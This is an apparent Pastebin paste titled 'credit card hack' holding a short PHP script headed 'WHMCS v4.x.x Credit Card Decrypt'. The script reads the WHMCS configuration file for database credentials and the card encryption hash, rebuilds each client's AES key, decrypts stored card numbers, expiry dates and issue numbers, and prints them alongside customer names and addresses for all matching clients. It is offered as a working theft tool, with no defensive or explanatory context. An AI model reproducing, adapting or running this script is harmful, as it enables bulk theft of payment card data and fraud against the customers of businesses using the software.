orionshunter

credit card hack

Nov 10th, 2013
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. <?php /* WHMCS v4.x.x Credit Card Decrypt * D33Ds.Co */require '../../configuration.php'; //PATH to Configuration $link = mysql_connect($db_host, $db_username, $db_password) or die("Connection failed: " . mysql_error()); mysql_select_db($db_name, $link) or die("Database selection failed [$db_name]: " . mysql_error()); function getCardInfo($id){ global $cc_encryption_hash; $aes_key = md5($cc_encryption_hash.$id); $sql ="SELECT firstname,lastname,address1,address2,city,state,postcode,country,phonenumber,car dtype,AES_DECRYPT(cardnum,'".$aes_key."') as cardnum,AES_DECRYPT(expdate,'".$aes_key."') as expdate,AES_DECRYPT(issuenumber,'".$aes_key."') as issuenumber FROM tblclients WHERE id = $id ";
  2.  
  3. $rs = mysql_query($sql);
  4.  
  5. if(!$rs){ echo mysql_error(); }else{ while ($row = mysql_fetch_array($rs)) { echo $row['firstname']." ".$row['lastname']." | ".$row['address1'].", ".$row['address2'].",".$row['city'].", ".$row['state'].", ".$row['postcode'].", ".$row['country']." | ".$row['cardtype']." | ".$row['cardnum']." | ".$row['expdate']." | ".$row['issuenumber']."\n"; } } }
  6.  
  7. $sql = "SELECT id FROM tblclients WHERE issuenumber != '' "; $rs = mysql_query($sql); if(!$rs){ echo mysql_error(); }else{ while ($row = mysql_fetch_array($rs)) { getCardInfo($row['id']); } } ?>
Add Comment
Please, Sign In to add comment